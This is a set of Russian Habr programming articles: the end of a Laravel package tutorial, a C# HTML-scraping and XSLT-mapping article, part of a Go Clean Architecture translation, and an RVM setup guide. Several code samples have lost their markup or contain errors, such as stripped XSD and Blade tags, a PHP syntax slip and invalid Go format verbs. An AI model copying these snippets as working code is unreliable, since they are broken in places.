'link' => 'required|between:2,32|unique',
'article' => 'required'
);
public function getCutAttribute(){
return Str::limit($this->attributes['article'], 120);
}
}
```
Теперь необходимо добавить папку *models* в секцию автозагрузки *composer.json* (нужно добавить выше строчки "*src/controllers*") нашего проекта и выполнить *composer dump-autoload* так же, как мы это делали в случае с контроллером.
Подробнее о Eloquent моделях можно почитать на оф сайте [Laravel](http://laravel.com/docs/4.2/eloquent)
Строкой в консоли создадим миграцию для нашего пакета:
```
php artisan migrate:make create_nbblog_posts_table --bench="cherryoff/nbblog"
```
В папке *src/migrations/* появился класс только что созданной миграции. В его методе *up* пропишем:
```
Schema::create('posts', function (Blueprint $table) {
$table->increments('id');
$table->string('link', 32);
$table->string('header', 256);
$table->text('article');
$table->timestamps();
$table->softDeletes();
});
```
В методе *down*:
```
Schema::dropIfExists('posts');
```
Таким образом в методе *up* мы создаем таблицу с необходимыми полями для нашей модели, а в методе *down* удаляем ее, если она существует
Итак, пришло время выполнить нашу миграцию:
```
php artisan migrate --bench="cherryoff/nbblog"
```
Если вы правильно настроили соединение с базой данных, то в консоли увидите что то вроде:
```
Migration table created successfully.
Migrated: 2014_10_23_115450_create_nbblog_posts_table
```
Теперь заполним только что созданную таблицу начальными данными. Для этого в папке src создадим папку seeds с файлом NbblogSeeder.php со следующим содержимым:
**NbblogSeeder.php**
```
php namespace Cherryoff\Nbblog;
use Illuminate\Database\Seeder;
class NbblogSeeder extends Seeder {
public function run()
{
$posts = [
[
'header'='Header post number one',
'link'=>'one',
'article'=>'
In condimentum facilisis porta. Sed nec diam eu diam mattis viverra. Nulla fringilla, orci ac euismod semper, magna diam
porttitor mauris, quis sollicitudin sapien justo in libero. Vestibulum mollis mauris enim. Morbi euismod magna ac lorem
rutrum elementum. Donec viverra auctor lobortis. Pellentesque eu est a nulla placerat dignissim. Morbi a enim in magna
semper bibendum. Etiam scelerisque, nunc ac egestas consequat, odio nibh euismod nulla, eget auctor orci nibh vel nisi.
Aliquam erat volutpat. Mauris vel neque sit amet nunc gravida congue sed sit amet purus. Quisque lacus quam, egestas ac
tincidunt a, lacinia vel velit. Aenean facilisis nulla vitae urna tincidunt congue sed ut dui. Morbi malesuada nulla nec
purus convallis consequat. Vivamus id mollis quam. Morbi ac commodo nulla. In condimentum orci id nisl volutpat bibendum.
Quisque commodo hendrerit lorem quis egestas. Maecenas quis tortor arcu. Vivamus rutrum nunc non neque consectetur quis placerat
neque lobortis. Nam vestibulum, arcu sodales feugiat consectetur, nisl orci bibendum elit, eu euismod magna sapien ut nibh.
Donec semper quam scelerisque tortor dictum gravida. In hac habitasse platea dictumst. Nam pulvinar, odio sed rhoncus suscipit,
sem diam ultrices mauris, eu consequat purus metus eu velit. Proin metus odio, aliquam eget molestie nec, gravida ut sapien.
Phasellus quis est sed turpis sollicitudin venenatis sed eu odio. Praesent eget neque eu eros interdum malesuada non vel leo.
Sed fringilla porta ligula egestas tincidunt. Nullam risus magna, ornare vitae varius eget, scelerisque.
',
],
[
'header'=>'Very important news',
'link'=>'news',
'article'=>'
Donec congue lacinia dui, a porttitor lectus condimentum laoreet. Nunc eu ullamcorper orci. Quisque eget odio ac
lectus vestibulum faucibus eget in metus. In pellentesque faucibus vestibulum. Nulla at nulla justo, eget luctus tortor.
Nulla facilisi. Duis aliquet egestas purus in blandit. Curabitur vulputate, ligula lacinia scelerisque tempor, lacus lacus
ornare ante, ac egestas est urna sit amet arcu. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos
himenaeos. Sed molestie augue sit amet leo consequat posuere. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices
posuere cubilia Curae; Proin vel ante a orci tempus eleifend ut et magna. Lorem ipsum dolor sit amet, consectetur adipiscing
elit. Vivamus luctus urna sed urna ultricies ac tempor dui sagittis. In condimentum facilisis porta. Sed nec diam eu diam mattis
viverra. Nulla fringilla, orci ac euismod semper, magna diam porttitor mauris, quis sollicitudin sapien.
',
],
];
foreach ($posts as $post){
Post::create($post);
}
}
}
```
Добавим папку *seeds* в секцию автозагрузки *composer.json* и снова выполним
```
composer dump-autoload
```
Теперь загрузим начальные данные командой:
```
php artisan db:seed --class="\Cherryoff\Nbblog\NbblogSeeder"
```
Если мы все сделали правильно, то все завершилось без ошибок.
Создадим шаблоны видов для нашего блога, разместив их в папке *src/views*:
*layout.blade.php*
```
@yield('title')
My simple blog
==============
Just blog package for Laravel
* [Main page](/)
* [Blog](/blog/)
@yield('content')
```
*list.blade.php*
```
@section('title')
List
@stop
@section('content')
Number of posts in the blog: {{$count}}
@forelse($posts as $post)
@include('nbblog::preview')
@empty
* ### No records
@endforelse
@stop
```
*preview.blade.php*
```
- {{$post->created\_at}}
[{{$post->header}}](/blog/{{$post->link}})
------------------------------------------
{{$post->cut}}
```
*post.blade.php*
```
@section('title')
{{$header}}
@stop
@section('content')
{{$created\_at}}
{{$header}}
-----------
{{$article}}
@stop
```
Хотелось бы отметить, что обращаться к видам пакета нужно так:
*имя\_пакета:: путь\_к\_файлу*, что в нашем случае:
*nbblog::preview*
Итак, с шаблонами закончено, теперь можно приступить к наполнению их данными. Для этого создадим файл *viewComposers.php* прямо в папке *src*. (Мы можем создать этот файл в любом месте нашего пакета, главное не забыть его подключить).
*viewComposers.php*
```
php
/**
* Не забываем использовать имя своего пакета перед названием вида
*/
View::composer(array('nbblog::list', 'nbblog::post'), function($view){
$view-with('uri', 'blog');
});
View::composer('nbblog::list', function ($view) {
$view->with('count', \Cherryoff\Nbblog\Post::count())->with('posts', \Cherryoff\Nbblog\Post::all());
});
```
Мы только что привязали переменную uri к шаблону списка постов и шаблону поста (в дальнейшем, когда мы будем получать эту переменную из настроек, нам будет удобнее передавать ее в виды в одном месте) и вместе с шаблоном списка постов мы отдаем сразу все записи.
Теперь необходимо подключить созданный файл в классе нашего поставщика услуг (*src/Cherryoff/Nbblog/NbblogServiceProvider.php*), так же, как мы это делали с файлом *route.php*.
```
/**
* Подключаем собственный viewComposers
*/
include __DIR__.'/../../viewComposers.php';
```
Меняем класс нашего контролера, чтобы он выглядел как то так:
```
class NbblogController extends Controller {
public function __construct(){
$this->layout = View::make('nbblog::layout');
}
public function showList()
{
$this->layout->content = View::make('nbblog::list');
}
public function showPost($link)
{
$post = Post::where('link', '=', $link)->firstOrFail();
$this->layout->content = View::make('nbblog::post', $post);
}
}
```
Все, теперь наш блог готов. Можем оценить это по адресу: [sandbox.local/blog](http://sandbox.local/blog/)
Список записей выводится, посты просматриваются.
Но выглядит он как то не очень и нам хотелось бы это исправить. Для этого в папке public нашего пакета создадим папку css и добавим туда файл *main.css* со следующим содержимым:
**main.css**
```
html, body {
font-family: 'Lora', "Times New Roman", serif;
padding: 0;
color: #383840;
background-color: #F2F2F2;
}
a {
color: #676673;
}
a:hover {
color: #383840;
}
span, small {
color: #B8B8BF;
}
.content {
width: 600px;
margin: 0 auto;
}
header {
text-align: center;
}
header h1 {
margin-bottom: 5px;
}
nav {
width: auto;
margin: 0 auto;
text-align: center;
}
nav ul {
padding: 0;
margin-top: 10px;
margin-bottom: 20px;
}
nav li {
list-style: none;
display: inline-block;
padding: 10px 5px;
margin: 0 20px;
}
.posts-list {
padding: 0;
}
.posts-list li {
list-style: none;
border-bottom: 1px dotted #B8B8BF;
padding-bottom: 10px;
margin-top: 20px;
margin-bottom: 60px;
}
.posts-list li > span, .post-block > span {
width: 100%;
text-align: center;
display: inline-block;
border-bottom: 1px dotted #B8B8BF;
height: 10px;
}
.posts-list li > span small, .post-block > span small {
background-color: #F2F2F2;
padding: 10px;
}
.posts-list h2 {
text-align: center;
}
.posts-list a {
text-decoration: none;
padding: 10px 20px;
}
```
Опубликуем внешние ресурсы нашего пакета командой:
```
php artisan asset:publish --bench="cherryoff/nbblog"
```
Возможно мы этого не заметили, но в папке *public* нашего приложения появился файл *main.css*, который расположился в папке *packages/cherryoff/nbblog/css/*
Как вы успели догадаться, так laravel делает со всеми внешними ресурсами пакетов. А значит, что это соглашение об именовании внешних ресурсов поможет нам обратится к этому файлу из нашего шаблона.
В шаблоне *layout.blade.php* перед тегом **title** вставим строчку:
```
{{ HTML::style('/packages/cherryoff/nbblog/css/main.css') }}
```
Это путь до нашего файла в папке *public* нашего приложения.
Если мы обновим страницу, то увидим простейший блог, который мы только что создали.
Со стилями он стал выглядеть заметно лучше.
В виде домашнего задания вам останется создать файл настроек с настройками url блога и именами шаблонов, что сделает возможным менять путь до блога на вашем сайте, а так же использовать свои шаблоны для вывода содержимого.
[Тут](https://github.com/cherryoff/nbblog) вы можете посмотреть проект на github.
Живое [демо](http://80.240.131.96/blog).
Или просто добавить зависимость в composer.json вашего Laravel-проекта строку: *«cherryoff/nbblog»: «dev-master»*
#### Итог
Итак, мы научились создавать пакеты для Laravel, увидели из чего состоит пакет, теперь ничто не составляет труда форкнуть пакет стороннего разработчика и адаптировать его под свои нужды. Мы увидели, как происходит маршрутизация в пакете, узнали как показать composer где брать файлы для автозагрузки, узнали как делаются миграции и сиды в рамках пакета, а так же опубликовали свои ресурсы в *public* папке нашего приложения.
Статья получилась, чуть больше, чем я планировал, поэтому немного о том, что я расскажу в следующих статьях:
* Покажу как вынести настройки пакета и предоставить возможность менять их пользователю не трогая сами файлы пакета;
* Развернем git репозиторий в папке пакета;
* И запишем все это дело на Github;
* При желании опубликуем только что созданный пакет в packagist;
* Включим автообновление пакета в packagist при обновлении на github;
* Накатим наш пакет на чистый Laravel.
Если и это окажется интересно, то далее мы расширим функциональность нашего пакета:
* Добавим к постам теги;
* Добавим интерфейс добавления/редактирования/удаления постов;
* Сделаем наш пакет более кастомизируемым.
Надеюсь не утомил, чистого кода!
#### Ссылки, используемые при написании статьи
[Cайт Laravel](http://laravel.com);
[Перевод официальной документации](http://laravel.ru/docs/v4/packages);
[Вводит в курс дела](http://habrahabr.ru/post/197454/);
[Рассказывает о Homestead](http://habrahabr.ru/post/225627/). | https://habr.com/ru/post/241423/ | null | ru | null |
# Data acquisition, часть 2
В [первой части](http://habrahabr.ru/blogs/net/93958) моего рассказа про data acquisition, я написал про то, какой инструментарий используется для получения HTML из интернета. В этом посте я более детально расскажу про то, как из этого HTML получать нужные данные, и как эти данные трансформировать в нужный нам формат.
### Сформированность HTML
Когда вы получаете HTML из какого-то ресурса, у вас могут быть два варианта – либо идеально сформированный HTML который можно сразу конвертировать в XML (то есть брать и использовать), либо плохо сформированный HTML. Большинство HTML, к сожалению, сформировано плохо. В этой ситуации есть два варианта: либо использовать HTML Agility Pack для того чтобы вытащить все нужные данные, либо использовать эту же библиотеку для того чтобы “скорректировать” полученный HTML и сделать его более XML-образным. Вот самый минимальный пример того, как можно удалить все незакрытые элементы `IMG`:
> `var someHtml = "hello
>
> ";
>
>
> HtmlDocument doc = new HtmlDocument();
>
>
> doc.LoadHtml(someHtml);
>
>
> // fix images
>
> foreach (var node in doc.DocumentNode.SelectNodes("//img"))
>
>
> if (!node.OuterHtml.EndsWith("/>"))
>
>
> node.Remove();
>
>
> Console.WriteLine(doc.DocumentNode.OuterHtml);
>
>
> Console.ReadLine();`
Кому-то может показаться, что фиксинг HTML является ненужной задачей – ведь используя тот же метод `SelectNodes()` можно получить любой элемент, даже если этот элемент плохо сформирован (malformed). Но существует одно приемущество, которое не следует забывать – если вы получили правильный XML, то а) вы можете сделать (или сгенерировать) XSD для этого кусочка XML; и б) получив XSD, можно генерировать мэппинги из XML-структуры на POCO, с которыми намного легче работать.
### Мэппинги
Мэппинг данных обычно фигурирует в интеграционных системах вроде BizTalk. Идея в том, чтобы преобразовать набор данных во что угодно – обычно это правда просто другой набор данных. На самом деле, во многих случаях это сопоставление один-к-одному, но часто нужны разные конверсии – например, весь HTML это текст, а чтобы получить число, нужно делать конверсию (`int.Parse()` и т.п). Давайте посмотрим на то, как это делается.
Допустим мы получили следующую (примитивную) структуру при разборе:
> `|
>
> Alexander |
>
> RD |
>
>
>
>
> |
>
> Sergey |
>
> MVP, RD |
>
>
>
>
> |
>
> Dmitri |
>
> MVP |`
А теперь представим что нам нужно замэпить эти данные на следующую структуру:
> `class Person
>
>
> {
>
>
> public string Name { get; set; }
>
>
> public bool IsMVP { get; set; }
>
>
> public bool IsRD { get; set; }
>
>
> }`
Для этого класса лучше сразу создать класс-коллекцию:
> `public class PersonCollection : Collection {}`
Теперь мы сгенерируем XSD для исходных данных. Результат выглядит примерно вот так:
> `"http://www.w3.org/2001/XMLSchema">
>
>
> "table">
>
>
>
>
>
>
>
>
> "tr" maxOccurs="unbounded">
>
>
>
>
>
>
>
>
> "td" type="xs:string"/>
>
>
> "td" type="xs:string"/>`
Это легко – наверное слишком легко. Что сложнее так это получить схему для нашего класса коллекций. (N.b.: вместо схемы можно использовать, например, базу данных напрямую, но я пожалуй воспользуюсь XSD.) Внимание, магический трюк: компилируем сборку с типом `PersonCollection` а потом запускаем следующую команду:
> `xsd -t:PersonCollection "04 Mapping.exe"`
Не поверите – эта комманда генерирует XSD на основе CLR-типа! Замечу что запускать `XSD` имеет смысл только в “битности” вашей системы. Не смотря на то, что у меня все компилируется для x86, чтобы заработал `XSD` пришлось сделать 64-битную сборку. Получился следующий XSD-файл, с помощью которого можно делать мэппинг:
> `"qualified" xmlns:xs="http://www.w3.org/2001/XMLSchema">
>
>
> "ArrayOfPerson" nillable="true" type="ArrayOfPerson" />
>
>
> "ArrayOfPerson">
>
>
>
>
>
> "0" maxOccurs="unbounded" name="Person" nillable="true" type="Person" />
>
>
>
>
>
>
>
>
> "Person">
>
>
>
>
>
> "1" maxOccurs="1" name="Name" type="xs:string" />
>
>
> "1" maxOccurs="1" name="IsMVP" type="xs:boolean" />
>
>
> "1" maxOccurs="1" name="IsRD" type="xs:boolean" />`
Ну вот, у нас есть левая и правая сторона мэппинга. Сам мэппинг можно создать с помощью такого приложения как Stylus Studio или MapForce. Мэппинги создаются визуально, но процесс создания *неинтуитивен*, так что если вы никогда не работали с визуальными мэппингами, придется в начале немного помучаться.
Для того чтобы создать свой мэппинг, я воспользовался программой [Altova MapForce](http://www.altova.com/mapforce.html). Если коротко, то эта программа может делать много разных мэппингов, в том числе и XSD-на-XSD, что нам и нужно. Мэппинги генерируются для языков XSLT1/2, XQuery, Java, C# и C++. Лично я для своих целей использую XSLT2, а для запуска трансформаций использую бесплатный движок [AltovaXML](http://www.altova.com/altovaxml.html), т.к. все что дает компания Microsoft в .Net для XSLT – настоящее убожество. А XQuery вообще в .Net нету. И нет, библиотека Mvp.Xml тоже не особо помогает, хотя приз за усилия разработчикам полагается.
Первое, что мы делаем – это визуально описываем мэппинг с помощью доступных нам примитивов. Выглядит результат примерно так:
Теперь мы генерируем для мэппинга XSLT. Все что осталось, так это определиться с тем как его вызывать. Если учесть что мы используем AltovaXML для трансформации, сам код выглядит вот так:
> `public static string XsltTransform(string xml, string xslt)
>
>
> {
>
>
> var app = new Application();
>
>
> var x = app.XSLT2;
>
>
> x.InputXMLFromText = xml;
>
>
> x.XSLFromText = xslt;
>
>
> return x.ExecuteAndGetResultAsString();
>
>
> }`
Для того, чтобы десериализовать XML в коллекцию, мы используем следующий метод:
> `public static T FromXml(string xml) where T : class
>
>
> {
>
>
> var s = new XmlSerializer(typeof(T));
>
>
> using (var sr = new StringReader(xml))
>
>
> {
>
>
> return s.Deserialize(sr) as T;
>
>
> }
>
>
> }`
Вот собственно и все – получив наш XML, его можно смело трансформировать:
> `string xml = File.ReadAllText("Input.xml");
>
>
> string xslt = File.ReadAllText("../../output/MappingProjectMapToPersonCollection.xslt");
>
>
> string result = XsltTransform(xml, xslt);
>
>
> var pc2 = FromXml(result);`
### Лирика о мэппингах
Кому-то может показаться что мэппинги излишни, и для простых случаев возможно это действительно так. Но хочу заметить что мэппинги, будучи дополнительным уровнем абстрации, позволяют лучше контролировать результат и адаптировать его к изменяющимся условиям – а в случае с меняющимся дизайном сайта это действительно актуально.
Мэппинги и работа с XML в целом не бесплатна – Visual Studio (даже 2010) крайне плохо с ней справляется, поэтому я воспользовался специализированной, платной программой. Хотя нет, я вру конечно, ведь мэппинги поддерживаются в BizTalk (а следовательно в VS2008). И естественно наша задача может быть “транспонирована”, в каком-то смысле, на BizTalk. А что, для личного использования можно и попробовать, если сидите на MSDN-подписке.
Вот и все на сегодня. Исходники, как всегда, [тут](http://bitbucket.org/nesteruk/datagatheringdemos). Comments welcome. | https://habr.com/ru/post/94128/ | null | ru | null |
# Чистая архитектура в Go-приложении. Часть 2
От переводчика: данная статья [написана Manuel Kiessling](http://manuel.kiessling.net/2012/09/28/applying-the-clean-architecture-to-go-applications/) в сентябре 2012 года, как реализация [статьи Дядюшки Боба](http://blog.8thlight.com/uncle-bob/2012/08/13/the-clean-architecture.html) о чистой архитектуре с учетом Go-специфики.
Это вторая статья цикла об особенности реализации Чистой Архитектуры в Go. [[Часть 1](http://habrahabr.ru/post/269893/)]
Сценарии
--------
Сразу начнем с кода слоя Сценария:
```
// $GOPATH/src/usecases/usecases.go
package usecases
import (
"domain"
"fmt"
)
type UserRepository interface {
Store(user User)
FindById(id int) User
}
type User struct {
Id int
IsAdmin bool
Customer domain.Customer
}
type Item struct {
Id int
Name string
Value float64
}
type Logger interface {
Log(message string) error
}
type OrderInteractor struct {
UserRepository UserRepository
OrderRepository domain.OrderRepository
ItemRepository domain.ItemRepository
Logger Logger
}
func (interactor *OrderInteractor) Items(userId, orderId int) ([]Item, error) {
var items []Item
user := interactor.UserRepository.FindById(userId)
order := interactor.OrderRepository.FindById(orderId)
if user.Customer.Id != order.Customer.Id {
message := "User #%i (customer #%i) "
message += "is not allowed to see items "
message += "in order #%i (of customer #%i)"
err := fmt.Errorf(message,
user.Id,
user.Customer.Id,
order.Id,
order.Customer.Id)
interactor.Logger.Log(err.Error())
items = make([]Item, 0)
return items, err
}
items = make([]Item, len(order.Items))
for i, item := range order.Items {
items[i] = Item{item.Id, item.Name, item.Value}
}
return items, nil
}
func (interactor *OrderInteractor) Add(userId, orderId, itemId int) error {
var message string
user := interactor.UserRepository.FindById(userId)
order := interactor.OrderRepository.FindById(orderId)
if user.Customer.Id != order.Customer.Id {
message = "User #%i (customer #%i) "
message += "is not allowed to add items "
message += "to order #%i (of customer #%i)"
err := fmt.Errorf(message,
user.Id,
user.Customer.Id,
order.Id,
order.Customer.Id)
interactor.Logger.Log(err.Error())
return err
}
item := interactor.ItemRepository.FindById(itemId)
if domainErr := order.Add(item); domainErr != nil {
message = "Could not add item #%i "
message += "to order #%i (of customer #%i) "
message += "as user #%i because a business "
message += "rule was violated: '%s'"
err := fmt.Errorf(message,
item.Id,
order.Id,
order.Customer.Id,
user.Id,
domainErr.Error())
interactor.Logger.Log(err.Error())
return err
}
interactor.OrderRepository.Store(order)
interactor.Logger.Log(fmt.Sprintf(
"User added item '%s' (#%i) to order #%i",
item.Name, item.Id, order.Id))
return nil
}
type AdminOrderInteractor struct {
OrderInteractor
}
func (interactor *AdminOrderInteractor) Add(userId, orderId, itemId int) error {
var message string
user := interactor.UserRepository.FindById(userId)
order := interactor.OrderRepository.FindById(orderId)
if !user.IsAdmin {
message = "User #%i (customer #%i) "
message += "is not allowed to add items "
message += "to order #%i (of customer #%i), "
message += "because he is not an administrator"
err := fmt.Errorf(message,
user.Id,
user.Customer.Id,
order.Id,
order.Customer.Id)
interactor.Logger.Log(err.Error())
return err
}
item := interactor.ItemRepository.FindById(itemId)
if domainErr := order.Add(item); domainErr != nil {
message = "Could not add item #%i "
message += "to order #%i (of customer #%i) "
message += "as user #%i because a business "
message += "rule was violated: '%s'"
err := fmt.Errorf(message,
item.Id,
order.Id,
order.Customer.Id,
user.Id,
domainErr.Error())
interactor.Logger.Log(err.Error())
return err
}
interactor.OrderRepository.Store(order)
interactor.Logger.Log(fmt.Sprintf(
"Admin added item '%s' (#%i) to order #%i",
item.Name, item.Id, order.Id))
return nil
}
```
Код слоя Сценариев состоит главным образом из сущности User (пользователь) и двух сценариев. Сущность имеет репозиторий точно так же как это было в слое Домена, поскольку Пользователям требуется механизм персистентного сохранения и получения данных.
Сценарии реализованы как методы структуры OrderInteractor, что, впрочем не удивительно. Это не обязательное требование, они могут быть реализованы и как несвязанные функции, но как мы позже увидим — это облегчает введение определенных зависимостей.
Код выше является ярким примером пищи для размышления на тему «что куда поставить». Прежде всего все взаимодействия внешних слоев должны осуществляться через методы OrderInteractor и AdminOrderInteractor, структуры которые оперируют в пределах слоя Сценариев и глубже. Опять же — это все следование Правилу Зависимостей. Такой вариант работы позволяет не иметь внешних зависимостей, что, в свою очередь, позволяет нам, к примеру, протестировать этот код используя моки репозиториев или, при необходимости, можно заменить внутреннюю реализацию Logger (см в код) на другую без каких либо сложностей, поскольку эти изменения не затронут остальные слои.
Дядюшка Боб говорит про Сценарии: «В этом слое реализуется специфика бизнес-правил. Он инкапсулирует и реализует все случаи использования системы. Эти сценарии реализуют поток данных в и из слоя Cущностей для реализации бизнес-правил.»
Если вы посмотрите, скажем, на метод Add в OrderInteractor, вы увидите это в действии. Метод управляет получением необходимых объектов и сохранением их в пригодном для дальнейшего использования виде. В этом методе делается обработка ошибок, которые могут быть специфичны для этого Сценария, с учетом определенных ограничений именно этого слоя. Например, лимит на покупку в 250 долларов накладывается на уровне Домена, поскольку это бизнес-правило и оно приоритетнее правил Сценариев. С другой стороны, проверки, касаемые добавления товаров к заказу — это специфика Сценариев, к тому же именно этот слой содержит сущность User, что влияет в свою очередь на обработку товара в зависимости от того обычный пользователь это делает или администратор.
Давайте так же обсудим логгирование на этом слое. В приложении все виды логгирования затрагивают несколько слоев. Даже с учетом понимания, что все лог-записи будут в конечном итоге строками в файле на диске важно отделить концептуальные детали от технических. Уровень сценариев не знает ничего о текстовых файлах и жестких дисках. Концептуально, этот уровень просто говорит: «На уровне Сценария произошло что-то интересное и я бы хотел это сообщить», где «сообщить» не означает «записать куда-либо», это означает просто «сообщить» — без какого-либо знания, что дальше с этим все произойдет.
Таким образом мы просто обеспечиваем интерфейс, который удовлетворяет потребности Сценария и предоставляет реализацию для этого — таким образом не зависимо от того, как мы в итоге решим сохранять логи (файл, БД, ...) мы по прежнему будем удовлетворять интерфейсу обработки логгирования на данном слое и эти изменения не затронут внутренние слои.
Еще более интересной ситуация видится в свете того, что мы создали два разных OrderInteractor. Если бы мы хотели логгировать действия администратора в один файл, а действия обычного пользователя в другой файл, то это так же было очень просто. В этом случае мы бы просто создали две реализации Logger и обе версии бы удовлетворяли интерфейсу usecases.Logger и использовали бы их в соответствующих OrderInteractor — OrderInteractor и AdminOrderInteractor.
Другая важная деталь в коде Сценария — структура Item. На уровне домена у нас уже есть аналогичная структура, не так ли? Почему бы просто не вернуть ее в методе Items()? Потому что это противоречит правилу — не передавать структуры во внешние слои. Сущности слоя могут содержать в себе не только данные, но и поведение. Таким образом поведение сущностей сценария может быть применено только на этом слое. Не передавая сущности во внешние слои мы гарантируем сохранение поведения в пределах слоя. Внешним слоям нужны только чистые данные и наша задача предоставить их именно в этом виде.
Как и в слое Домена этот код показывает как Чистая архитектура помогает понять как приложение на самом деле работает: если для понимания того какие бизнес-правила у нас есть нам достаточно посмотреть в слой домена, то для того, чтобы понять как пользователь взаимодействует с бизнесом нам достаточно посмотреть в код слоя Сценариев. Мы видим, что приложение позволяет пользователю самостоятельно добавить товары в заказ и что администратор может добавить товары в заказ пользователя.
Продолжение следует… В [третьей части](http://habrahabr.ru/post/271157/) обсудим слой Интерфейсов. | https://habr.com/ru/post/270351/ | null | ru | null |
# RVM — подробно
RVM — Ruby Version Manager
Программа для управления версиями Ruby.
Как быть если один проект использует Ruby 1.8.7, а другой 1.9.2? А что если при этом у вас 2 проекта под версией 1.9.2, но с разными наборами гемов? Хотелось бы вам иметь отдельные наборы gem's для каждого проекта?
Основные задачи:
1. Физическое разделение версий ruby и наборов гемсетов
2. Возможность иметь несколько версий ruby и переключаться между ними
3. Возможность для каждой версии ruby иметь несколько gemsets — наборов gem's и переключаться между ними
Под катом будут описаны:
1. Установка RVM
2. Работа с разными версиями Ruby
3. Работа с gemsets
4. Задание окружения под отдельный проект с помощью .rvmrc
5. Команды RVM которые могут оказаться полезными
6. Шпаргалка по основным командам RVM
1. Установка RVM
================
1. Для установки вам понадобятся curl и git (apt-get install git curl)
2.
```
#Скачивание скрипта установки с сервера и запуск (от имени вашего пользователя)
% bash < <(curl -s https://rvm.beginrescueend.com/install/rvm)
```
3. После установки нужно добавить информацию об установленном приложении rvm в bash
`#Дописывает в конфигурационный файл bash строчку, которая проверяет наличие директории с rvm и если
#всё ок, запускает программу
**% echo '[[ -s "$HOME/.rvm/scripts/rvm" ]] && . "$HOME/.rvm/scripts/rvm" # Load RVM function'>>~/.bash\_profile**`
В файле $HOME/.bashrc заменяем строчку *[ -z "$PS1" ] && return на if [[ -n "$PS1" ]]; then* Т.к. мы используем if, то в конце файла проставьте fi, это позволяет запускать программы в неинтерактивном режиме, а rvm как раз является примером такой программы
4. Проверяем как прошла установка
`**% rvm -v**
rvm 1.6.20 by Wayne E. Seguin (wayneeseguin@gmail.com) [https://rvm.beginrescueend.com/]
# *если вы видите версию rvm, значит всё ОК*`
2. Работа с разными версиями Ruby
=================================
Чтобы просмотреть все доступные для установки версии Ruby
`**% rvm list known**
# MRI Rubies
[ruby-]1.8.6[-p420]
[ruby-]1.8.6-head
[ruby-]1.8.7[-p334]
[ruby-]1.8.7-head
[ruby-]1.9.1-p378
[ruby-]1.9.1[-p431]
[ruby-]1.9.1-head
[ruby-]1.9.2[-p180]
[ruby-]1.9.2-head
ruby-head
# GoRuby
goruby
# JRuby
jruby-1.2.0
jruby-1.3.1
jruby-1.4.0
jruby-1.6.1
jruby[-1.6.2]
jruby-head`
Предположим вы работаете с двумя версиями 1.8.7 для ROR2 и 1.9.2 для ROR3
`# Устанавливаем 2 версии Ruby
**% rvm install 1.8.7**
**% rvm install 1.9.2**`
Чтобы увидеть все установленные версии Ruby
`**% rvm list**
rvm rubies
ruby-1.8.7-p334 [ i386 ]
ruby-1.9.2-p180 [ i386 ]`
Переключиться на ruby 1.8.7
`**% rvm use ruby-1.8.7**
Using /home/user/.rvm/gems/ruby-1.8.7-p334`
Использовать версию ruby 1.9.2 по умолчанию
`**% rvm use ruby 1.9.2 --default**
Using /home/user/.rvm/gems/ruby-1.9.2-p180
**% rvm list**
rvm rubies
=> ruby-1.9.2-p180 [ i386 ] # "=>" показывают версию Ruby установленную по умолчанию
ruby-1.8.7-p334 [ i386 ]`
3. Работа с gemsets
===================
Например вы используете Ruby On Rails версии 2 и 3 с Ruby 1.8.7 и для каждого из них у вас свой набор gem's.
Создадим два разных набора gemset'ов:
`**% rvm use 1.8.7@rails2 --create**
Using /home/user/.rvm/gems/ruby-1.8.7-p334 with gemset rails2
**% rvm use 1.8.7@rails3 --create**
Using /home/user/.rvm/gems/ruby-1.8.7-p334 with gemset rails3
**% rvm gemset list**
gemsets for ruby-1.8.7-p334 (found in /home/slip/.rvm/gems/ruby-1.8.7-p334)
global # gemset по умолчанию
rails2
rails3
**% rvm use 1.8.7@rails3 --default** # Использовать gemset rails3 по умолчанию
**% rvm gemset list**
gemsets for ruby 1.8.7-p334 (found in /home/user/.rvm/gems/ruby-1.8.7-p334)
global
rails2
=> rails3 # rails3 стоит по умолчанию`
Gemset'ы можно удалять, очищать, экспортировать и импортировать гемы из одного в gemset'a в другой.
RVM предоставляет следующие команды для работы с gemsets:
**create** — создание нового gemset
**export** — экспорт списка гемов в файл default.gems
**import** — установка в текущий gemset списка гемов из файла default.gems
**delete** — удалить gemset
**empty** — очистить gemset
4. Задание окружения под отдельный проект с помощью .rvmrc
==========================================================
Как быть если у вас несколько проектов, каждый из которых используют разную версию gemset? Можно конечно переключиться между gemset'ами вручную с помощь *rvm use {rubyversion}@{gemsetname}*, но и тут RVM приходит нам на помощь, делая эту часть работы за нас.
Создаем файл .rvmrc в корневой директории проекта. Например проект используют ruby версии 1.8.7 с gemset projectname.
`#Содержимое файла .rvmrc
rvm use 1.8.7@projectname`
Теперь когда вы заходите в директорию, *cd /home/user/www/projectname* — RVM исполняет команду из файла .rvmrc и вы видите на экране подобное сообщение
`Using /home/user/.rvm/gems/ruby-1.8.7-p334 with gemset projectname`
Таким образом вам больше не приходиться думать какой gemset использует конкретный проект и устанавливать его вручную.
5. Команды RVM которые могут оказаться полезными
================================================
1. Completion — позволяет использовать tab при работе с rvm
Чтобы включить, добавьте строку *[[ -r $rvm\_path/scripts/completion ]] &&. $rvm\_path/scripts/completion* в файл .bashrc или .bash\_profile, после строки с подлючением rvm. Подробнее можно почитать здесь [rvm.beginrescueend.com/workflow/completion](https://rvm.beginrescueend.com/workflow/completion/)
2. **rvmreset** — перезагрузка RVM
3. **rvm uninstall** — удалить одну или несколько версию Ruby, оставив исходники
4. **rvm implode** — полностью удалить RVM (удаляет ВСЁ)
6. Шпаргалка по основным командам RVM
=====================================
**rvm list known** — получить список всех версий ruby доступных для установки
**rvm install 1.9.1** – установить ruby версии 1.9.1
**rvm remove 1.9.2** – удалить ruby версии 1.9.2
**rvm use 1.9.2** — переключиться на ruby версии 1.9.2
**rvm use 1.9.2@rails3 --default** — установить версию ruby 1.9.2 c gemset rails3 по умолчанию
**rvm use system** — использовать системную версию ruby
**rvm list** – список установленных версий ruby
**rvm gemset list** – список gemset'ов в выбранной версии ruby
**rvm use 1.9.2@rails3 --create** создать gemset rails3 для ruby версии 1.9.2
**rvm gemset export** — экспортировать гемсет в файл default.gems
**rvm gemset import default.gems** — установить gem's из списка в файле defaults.gem в текущий gemset | https://habr.com/ru/post/120504/ | null | ru | null |
# Domain Driven Design: Value Objects и Entity Framework Core на практике
